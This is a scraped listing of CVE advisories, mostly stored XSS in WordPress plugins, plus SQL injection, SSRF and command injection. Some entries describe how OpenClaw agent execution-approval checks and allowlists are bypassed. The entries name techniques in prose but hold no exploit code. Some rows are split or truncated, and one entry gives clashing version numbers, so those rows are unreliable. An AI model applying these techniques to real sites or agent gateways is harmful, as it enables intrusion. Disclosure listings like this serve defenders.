CVE-2026-1908	The Integration with Hubspot Forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'hubspotform' shortcode in all versions up to, and including, 1.2.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-1911	The Twitter Feeds plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'tweet_title' parameter in the 'TwitterFeeds' shortcode in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-1575	The Schema Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `itemscope` shortcode in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-2496	The Ed's Font Awesome plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `eds_font_awesome` shortcode in all versions up to, and including, 2.0. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-2501	The Ed's Social Share plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `social_share` shortcode in all versions up to, and including, 2.0. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-4006	The Simple Draft List plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'display_name' post meta (Custom Field) in all versions up to and including 2.6.2. This is due to insufficient input sanitization and output escaping on the author display name when no author URL is present. The plugin accesses `$draft_data->display_name` which, because `display_name` is not a native WP_Post property, triggers WP_Post::__get() and resolves to `get_post_meta($post_id, 'display_name', true)`. When the `user_url` meta field is empty, the `$author` value is assigned to `$author_link` on line 383 without any escaping (unlike line 378 which uses `esc_html()` for the `{{author}}` tag, and line 381 which uses `esc_html()` when a URL is present). This unescaped value is then inserted into the shortcode output via `str_replace()`. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses a page containing the `[drafts]` shortcode with the `{{author+link}}` template tag.	6.4	More Details
CVE-2026-3516	The Contact List plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the '_cl_map_iframe' parameter in all versions up to, and including, 3.0.18. This is due to insufficient input sanitization and output escaping when handling the Google Maps iframe custom field. The saveCustomFields() function in class-contact-list-custom-fields.php uses a regex to extract <iframe> tags from user input but does not validate or sanitize the iframe's attributes, allowing event handlers like 'onload' to be included. The extracted iframe HTML is stored via update_post_meta() and later rendered on the front-end in class-cl-public-card.php without any escaping or wp_kses filtering. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details

CVE-2026-4120	The Info Cards – Add Text and Media in Card Layouts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'btnUrl' parameter within the Info Cards block in all versions up to, and including, 2.0.7. This is due to insufficient input validation on URL schemes, specifically the lack of javascript: protocol filtering. The block's render.php passes all attributes as JSON to the frontend via a data-attributes HTML attribute using esc_attr(wp_json_encode()), which prevents HTML attribute injection but does not validate URL protocols within the JSON data. The client-side view.js then renders the btnUrl value directly as an href attribute on anchor elements without any protocol sanitization. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject javascript: URLs that execute arbitrary web scripts when a user clicks the rendered button link.	6.4	More Details
CVE-2026-4083	The Scoreboard for HTML5 Games Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'scoreboard' shortcode in all versions up to, and including, 1.2. The shortcode function sfhg_shortcode() allows arbitrary HTML attributes to be added to the rendered <iframe> element, with only a small blacklist of four attribute names (same_height_as, onload, onpageshow, onclick) being blocked. While the attribute names are passed through esc_html() and values through esc_attr(), this does not prevent injection of JavaScript event handler attributes like onfocus, onmouseover, onmouseenter, etc., because these attribute names and simple JavaScript payloads contain no characters that would be modified by these escaping functions. The shortcode text is stored in post_content and is only expanded to HTML at render time, after WordPress's kses filtering has already been applied to the raw post content. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-0609	The Logo Slider – Logo Carousel, Logo Showcase & Client Logo Slider Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the image alt text in all versions up to, and including, 4.9.0 due to insufficient input sanitization and output escaping in the 'logo-slider' shortcode. This makes it possible for authenticated attackers, with author level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-1899	The Any Post Slider plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's aps_slider shortcode in all versions up to, and including, 1.0.4 due to insufficient input sanitization and output escaping on the 'post_type' attribute. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-1891	The Simple Football Scoreboard plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ytmr_fb_scoreboard' shortcode in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-1397	The PQ Addons – Creative Elementor Widgets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via widget attributes in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping on the html_tag parameter in the PQ Section Title widget. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-1275	The Multi Post Carousel by Category plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'slides' shortcode attribute in all versions up to, and including, 1.4. This is due to insufficient input sanitization and output escaping on the user-supplied 'slides' parameter in the post_slides_shortcode function. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-4752	Use After Free vulnerability in No-Chicken Echo-Mate.This issue affects Echo-Mate: before V250329.	6.4	More Details
CVE-2026-2352	The Autoptimize plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ao_post_preload' meta value in all versions up to, and including, 3.1.14. This is due to insufficient input sanitization in the `ao_metabox_save()` function and missing output escaping when the value is rendered into a `<link>` tag in `autoptimizeImages.php`. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page, granted the "Image optimization" or "Lazy-load images" setting is enabled in the plugin configuration.	6.4	More Details
CVE-2026-32880	ChurchCRM is an open-source church management system. Versions prior to 7.0.2 allow an admin user to edit JSON type system settings to store a JavaScript payload that can execute when any admin views the system settings. The JSON input is left unescaped/unsanitized in SystemSettings.php, leading to XSS. This issue has been fixed in version 7.0.2.	6.4	More Details
CVE-2026-29607	OpenClaw versions prior to 2026.2.22 contain an authorization bypass vulnerability in allow-always wrapper persistence that allows attackers to bypass approval checks by persisting wrapper-level allowlist entries instead of validating inner executable intent. Remote attackers can approve benign wrapped system.run commands and subsequently execute different payloads without approval, enabling remote code execution on gateway and node-host execution flows.	6.4	More Details
CVE-	The Tour & Activity Operator Plugin for TourCMS plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'target' parameter of the tourcms_doc_link shortcode in all versions up to, and including, 1.7.0 due to		

CVE-2026-1806	via the 'target' parameter of the tourcms_doc_link shortcode in all versions up to, and including, 1.7.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-1093	The WPFAQBlock– FAQ & Accordion Plugin For Gutenberg plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class' parameter of the 'wpfaqblock' shortcode in all versions up to, and including, 1.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-1822	The WP NG Weather plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'ng-weather' shortcode in all versions up to, and including, 1.0.9 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-1851	The iVysilani Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'width' shortcode attribute in all versions up to, and including, 3.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-2512	The Code Embed plugin for WordPress is vulnerable to Stored Cross-Site Scripting via custom field meta values in all versions up to, and including, 2.5.1. This is due to the plugin's sanitization function `sec_check_post_fields()` only running on the `save_post` hook, while WordPress allows custom fields to be added via the `wp_ajax_add_meta` AJAX endpoint without triggering `save_post`. The `ce_filter()` function then outputs these unsanitized meta values directly into page content without escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-3350	The Image Alt Text Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the post title in all versions up to, and including, 1.8.2. This is due to insufficient input sanitization and output escaping when dynamically generating image alt and title attributes using a DOM parser. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-1854	The Post Flagger plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'flag' shortcode in all versions up to, and including, 1.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-1886	The Go Night Pro | WordPress Dark Mode Plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'go-night-pro-shortcode' shortcode in all versions up to, and including, 1.1.0 due to insufficient input sanitization and output escaping on the user-supplied 'margin' attribute. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-1889	The Outgrow plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' attribute of the 'outgrow' shortcode in all versions up to, and including, 2.1. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-2430	The Autoptimize plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the lazy-loading image processing in all versions up to, and including, 3.1.14. This is due to the use of an overly permissive regular expression in the `add_lazyload` function that replaces all occurrences of `\ssrc=` in image tags without limiting to the actual attribute. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page by crafting an image tag where the `src` URL contains a space followed by `src=`, causing the regex to break the HTML structure and promote text inside attribute values into executable HTML attributes.	6.4	More Details
CVE-2026-4084	The fyyd podcast shortcodes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'fyyd-podcast', 'fyyd-episode', and 'fyyd' shortcodes in all versions up to, and including, 0.3.1. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes such as 'color', 'podcast_id', and 'podcast_slug'. These attributes are directly concatenated into inline JavaScript within single-quoted string arguments without any escaping or sanitization, allowing an attacker to break out of the JavaScript string context. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2025-71276	SOGo before 5.12.5 is prone to a XSS vulnerability with events, tasks, and contacts categories.	6.4	More Details
CVE-2026-4077	The Ecover Builder For Dummies plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' parameter of the 'ecover' shortcode in all versions up to and including 1.0. This is due to insufficient input sanitization and output escaping on the user-supplied 'id' shortcode attribute. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details

	execute whenever a user accesses an injected page.		
CVE-2025-6229	The Sina Extension for Elementor (Header Builder, Footer Builter, Theme Builder, Slider, Gallery, Form, Modal, Data Table Free Elementor Widgets & Elementor Templates) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `Fancy Text Widget` And `Countdown Widget` DOM attributes in all versions up to, and including, 3.7.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-22169	OpenClaw versions prior to 2026.2.22 contain an allowlist bypass vulnerability in the safeBins configuration that allows attackers to invoke external helpers through the compress-program option. When sort is explicitly added to tools.exec.safeBins, remote attackers can bypass intended safe-bin approval constraints by leveraging the compress-program parameter to execute unauthorized external programs.	6.4	More Details
CVE-2026-22181	OpenClaw versions prior to 2026.3.2 contain a DNS pinning bypass vulnerability in strict URL fetch paths that allows attackers to circumvent SSRF guards when environment proxy variables are configured. When HTTP_PROXY, HTTPS_PROXY, or ALL_PROXY environment variables are present, attacker-influenced URLs can be routed through proxy behavior instead of pinned-destination routing, enabling access to internal targets reachable from the proxy environment.	6.4	More Details
CVE-2026-3427	The Yoast SEO – Advanced SEO with real-time guidance and built-in AI plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the the `jsonText` block attribute in all versions up to, and including, 27.1.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-3333	The MinhNhut Link Gateway plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'linkgate' shortcode in all versions up to, and including, 3.6.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-4268	The WP Go Maps (formerly WP Google Maps) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘wpgmza_custom_js’ parameter in all versions up to, and including, 10.0.05 due to insufficient input sanitization and output escaping and missing capability check in the 'admin_post_wpgmza_save_settings' hook anonymous function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-33679	Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.1, the `DownloadImage` function in `pkg/utils/avatar.go` uses a bare `http.Client{}` with no SSRF protection when downloading user avatar images from the OpenID Connect `picture` claim URL. An attacker who controls their OIDC profile picture URL can force the Vikunja server to make HTTP GET requests to arbitrary internal or cloud metadata endpoints. This bypasses the SSRF protections that are correctly applied to the webhook system. Version 2.2.1 patches the issue.	6.4	More Details
CVE-2026-33675	Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.1, the migration helper functions `DownloadFile` and `DownloadFileWithHeaders` in `pkg/modules/migration/helpers.go` make arbitrary HTTP GET requests without any SSRF protection. When a user triggers a Todoist or Trello migration, file attachment URLs from the third-party API response are passed directly to these functions, allowing an attacker to force the Vikunja server to fetch internal network resources and return the response as a downloadable task attachment. Version 2.2.1 patches the issue.	6.4	More Details
CVE-2026-4086	The WP Random Button plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'cat', 'nocat', and 'text' shortcode attributes of the 'wp_random_button' shortcode in all versions up to, and including, 1.0. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes. Specifically, the random_button_html() function directly concatenates the 'cat' and 'nocat' parameters into HTML data-attributes without esc_attr(), and the 'text' parameter into HTML content without esc_html(). This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-32052	OpenClaw versions prior to 2026.2.24 contain a command injection vulnerability in the system.run shell-wrapper that allows attackers to execute hidden commands by injecting positional argv carriers after inline shell payloads. Attackers can craft misleading approval text while executing arbitrary commands through trailing positional arguments that bypass display context validation.	6.4	More Details
CVE-2026-4072	The WordPress PayPal Donation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'donate' shortcode in all versions up to, and including, 1.01. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes such as 'amount', 'email', 'title', 'return_url', 'cancel_url', 'ccode', and 'image'. The wordpress_paypal_donation_create() function uses extract(shortcode_atts(...)) to process shortcode attributes and then directly interpolates these values into HTML output within single-quoted attribute values without any escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-	The Ad Short plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ad' shortcode's 'client' attribute in all versions up to and including 2.0.1. This is due to insufficient input sanitization and output escaping		

CVE-2026-4067	attribute in all versions up to and including 2.0.2. This is due to insufficient input sanitization and output escaping on the 'client' shortcode attribute. The ad_func() shortcode handler at line 71 accepts a 'client' attribute via shortcode_atts() and directly concatenates it into a double-quoted HTML attribute (data-ad-client) at line 130 without applying esc_attr() or any other sanitization. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-3554	The Sherk Custom Post Type Displays plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'title' shortcode attribute in all versions up to, and including, 1.2.1. This is due to insufficient input sanitization and output escaping on the 'title' attribute of the 'sherkcptdisplays' shortcode. Specifically, in the sherkcptdisplays_func() function in includes/SherkCPTDisplaysShortcode.php, the 'title' attribute value is extracted from shortcode_atts() on line 19 and directly concatenated into an HTML <h2> tag on line 31 without any escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-4022	The Show Posts list – Easy designs, filters and more plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'post_type' shortcode attribute in the 'swiftpost-list' shortcode in all versions up to, and including, 1.1.0 due to insufficient input sanitization and output escaping on user-supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-3619	The Sheets2Table plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'titles' shortcode attribute in the [sheets2table-render-table] shortcode in all versions up to and including 0.4.1. This is due to insufficient input sanitization and output escaping. Specifically, the 'titles' attribute value from the shortcode is passed through S2T_Functions::trim_array_values() (which only trims whitespace) and then echoed directly into HTML via `echo $header` inside a <th> tag in the display_table_header() function without any escaping such as esc_html(). This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-3617	The Paypal Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'amount' and 'name' shortcode attributes in all versions up to, and including, 0.3. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes. The swer_paypal_shortcode() function extracts shortcode attributes using extract() and shortcode_atts() at line 89, then directly concatenates the $name and $amount values into HTML input element value attributes at lines 105-106 without applying esc_attr() or any other escaping function. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-3996	The WP Games Embed plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the [game] shortcode in all versions up to and including 0.1beta. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes such as 'width', 'height', 'src', 'title', 'description', 'game_url', 'main', and 'thumb', which are all directly concatenated into HTML output without any escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-3997	The Text Toggle plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'title' shortcode attribute of the [tt_part] and [tt] shortcodes in all versions up to and including 1.1. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes. Specifically, in the avp_texttoggle_part_shortcode() function, the 'title' attribute is extracted from shortcode attributes and concatenated directly into HTML output without any escaping — both within an HTML attribute context (title="...") on line 116 and in HTML content on line 119. While the 'class' attribute is properly validated using ctype_alnum(), the 'title' attribute has no sanitization whatsoever. An attacker can inject double-quote characters to break out of the title attribute and inject arbitrary HTML attributes including event handlers. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-4465	A flaw has been found in D-Link DIR-513 1.10. The impacted element is an unknown function of the file /goform/formSysCmd. Executing a manipulation of the argument sysCmd can lead to os command injection. The attack may be launched remotely. The exploit has been published and may be used. This vulnerability only affects products that are no longer supported by the maintainer.	6.3	More Details
CVE-2026-4568	A vulnerability was found in SourceCodester Sales and Inventory System 1.0. This affects an unknown function of the file /update_supplier.php of the component HTTP GET Request Handler. The manipulation of the argument sid results in sql injection. The attack may be launched remotely. The exploit has been made public and could be used. Several companies clearly confirm that VulDB is the primary source for best vulnerability data.	6.3	More Details
CVE-2026-4569	A vulnerability was determined in SourceCodester Sales and Inventory System 1.0. This impacts an unknown function of the file /view_category.php of the component HTTP POST Request Handler. This manipulation of the argument searchtxt causes sql injection. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized.	6.3	More Details
CVE-2026-4570	A vulnerability was identified in SourceCodester Sales and Inventory System 1.0. Affected is an unknown function of the file /view_customers.php of the component HTTP POST Request Handler. Such manipulation of the argument searchtxt leads to sql injection. The attack can be executed remotely. The exploit is publicly available and might be used.	6.3	More Details

CVE-2026-4571	A security flaw has been discovered in SourceCodester Sales and Inventory System 1.0. Affected by this vulnerability is an unknown functionality of the file /view_payments.php of the component HTTP POST Request Handler. Performing a manipulation of the argument searchtxt results in sql injection. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks.	6.3	More Details
CVE-2026-32010	OpenClaw versions prior to 2026.2.22 contain an allowlist bypass vulnerability in the safe-bin configuration when sort is manually added to tools.exec.safeBins. Attackers can invoke sort with the --compress-program flag to execute arbitrary external programs without operator approval in allowlist mode with ask=on-miss enabled.	6.3	More Details
CVE-2026-4614	A vulnerability was determined in itsourcecode sanitize or validate this input 1.0. This issue affects some unknown processing of the file /admin/subjects.php of the component Parameter Handler. This manipulation of the argument subject_code causes sql injection. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized.	6.3	More Details
CVE-2026-4572	A weakness has been identified in SourceCodester Sales and Inventory System 1.0. Affected by this issue is some unknown functionality of the file /view_product.php of the component HTTP POST Request Handler. Executing a manipulation of the argument searchtxt can lead to sql injection. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks.	6.3	More Details
CVE-2026-4573	A security vulnerability has been detected in SourceCodester Simple E-learning System 1.0. This affects an unknown part of the file /includes/form_handlers/delete_post.php of the component HTTP GET Parameter Handler. The manipulation of the argument post_id leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed publicly and may be used.	6.3	More Details
CVE-2026-4574	A vulnerability was detected in SourceCodester Simple E-learning System 1.0. This vulnerability affects unknown code of the component User Profile Update Handler. The manipulation of the argument firstName results in sql injection. It is possible to launch the attack remotely. The exploit is now public and may be used.	6.3	More Details
CVE-2026-4589	A vulnerability was identified in kalcaddle kodbox 1.64. The affected element is the function PathDriverUrl of the file /workspace/source-code/app/controller/explorer/editor.class.php of the component fileGet Endpoint. Such manipulation of the argument path leads to server-side request forgery. The attack may be launched remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way. Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.	6.3	More Details
CVE-2026-4554	A security flaw has been discovered in Tenda F453 1.0.0.3. The affected element is the function FormWriteFacMac of the file /goform/WriteFacMac. The manipulation of the argument mac results in command injection. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks.	6.3	More Details
CVE-2026-32000	OpenClaw versions prior to 2026.2.19 contain a command injection vulnerability in the Lobster extension tool execution that uses Windows shell fallback with shell: true after spawn failures. Attackers can inject shell metacharacters in command arguments to execute arbitrary commands when subprocess launch fails with EINVAL or ENOENT errors.	6.3	More Details
CVE-2026-4548	A vulnerability was detected in mickasmt next-saas-stripe-starter 1.0.0. Affected by this vulnerability is the function updateUserrole of the file actions/update-user-role.ts. The manipulation of the argument userId/role results in improper authorization. The attack may be launched remotely.	6.3	More Details
CVE-2026-31999	OpenClaw versions 2026.2.26 prior to 2026.3.1 on Windows contain a current working directory injection vulnerability in wrapper resolution for .cmd/.bat files that allows attackers to influence execution behavior through cwd manipulation. Remote attackers can exploit improper shell execution fallback mechanisms to achieve command execution integrity loss by controlling the current working directory during wrapper resolution.	6.3	More Details
CVE-2026-27091	Missing Authorization vulnerability in UiPress UiPress lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects UiPress lite: from n/a through 3.5.09.	6.3	More Details
CVE-2026-4593	A flaw has been found in erupts erupt bis 1.13.3. Affected by this vulnerability is the function EruptDataQuery of the file erupt-ai/src/main/java/xyz/erupt/ai/call/impl/EruptDataQuery.java of the component MCP Tool Interface. This manipulation causes sql injection hibernate. It is possible to initiate the attack remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.	6.3	More Details
CVE-2026-4543	A vulnerability was found in Wavlink WL-WN578W2 221110. The impacted element is an unknown function of the file /cgi-bin/firewall.cgi of the component POST Request Handler. Performing a manipulation of the argument dmz_flag/del_flag results in command injection. It is possible to initiate the attack remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.	6.3	More Details
CVE-2026-4533	A vulnerability was detected in code-projects Simple Food Ordering System 1.0. Affected by this issue is some unknown functionality of the file all-tickets.php. The manipulation of the argument Status results in sql injection. It is possible to launch the attack remotely. The exploit is now public and may be used.	6.3	More Details
CVE-2026-	A vulnerability was found in Foundation Agents MetaGPT up to 0.8.1. This vulnerability affects unknown code of the file metagpt/actions/di/write_analysis_code.py of the component DataInterpreter. The manipulation results in injection. It is possible to launch the attack remotely. The exploit has been made public and could be used. The	6.3	More Details

4516	vendor was contacted early about this disclosure but did not respond in any way.		
CVE-2026-4515	A vulnerability has been found in Foundation Agents MetaGPT up to 0.8.1. This affects the function code_generate of the file metagpt/ext/aflow/scripts/operator.py. The manipulation leads to code injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.	6.3	More Details
CVE-2026-4514	A flaw has been found in PbootCMS up to 3.2.12. Affected by this issue is some unknown functionality of the file apps/admin/controller/system/UserController.php of the component Backend. Executing a manipulation of the argument Field can lead to improper access controls. The attack may be performed from remote. The exploit has been published and may be used.	6.3	More Details
CVE-2026-4513	A vulnerability was detected in vanna-ai vanna up to 2.0.2. Affected by this vulnerability is the function ask of the file vanna\legacy\base\base.py. Performing a manipulation results in sql injection. The attack is possible to be carried out remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.	6.3	More Details
CVE-2026-4511	A security vulnerability has been detected in vanna-ai vanna up to 2.0.2. Affected is the function exec of the file /src/vanna/legacy. Such manipulation leads to injection. The attack can be executed remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.	6.3	More Details
CVE-2026-4509	A security flaw has been discovered in PbootCMS up to 3.2.12. This affects an unknown function of the file core/function/file.php of the component File Upload. The manipulation of the argument black results in incomplete blacklist. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks.	6.3	More Details
CVE-2026-4597	A security flaw has been discovered in 648540858 wvp-GB28181-pro up to 2.7.4. Impacted is the function selectAll of the file src/main/java/com/genersoft/iot/vmp/streamProxy/dao/provider/StreamProxyProvider.java of the component Stream Proxy Query Handler. The manipulation results in sql injection. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way. Several companies clearly confirm that VulDB is the primary source for best vulnerability data.	6.3	More Details
CVE-2026-4586	A vulnerability was found in CodePhiliaX Chat2DB up to 0.3.7. This affects the function Upload of the file chat2db-server/chat2db-server-web/chat2db-server-web-api/src/main/java/ai/chat2db/server/web/api/controller/driver/JdbcDriverController.java of the component JDBC Driver Upload. Performing a manipulation results in unrestricted upload. The attack can be initiated remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.	6.3	More Details
CVE-2026-4779	A security vulnerability has been detected in SourceCodester Sales and Inventory System 1.0. This issue affects some unknown processing of the file update_customer_details.php of the component HTTP GET Parameter Handler. Such manipulation of the argument sid leads to sql injection. The attack can be executed remotely. The exploit has been disclosed publicly and may be used.	6.3	More Details
CVE-2026-4476	A vulnerability was found in Yi Technology YI Home Camera 2 2.1.1_20171024151200. The impacted element is an unknown function of the file home/web/ipc of the component CGI Endpoint. Performing a manipulation results in missing authentication. Access to the local network is required for this attack. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.	6.3	More Details
CVE-2026-21790	HCL Traveler is susceptible to a weak default HTTP header validation vulnerability, which could allow an attacker to bypass additional authentication checks.	6.3	More Details
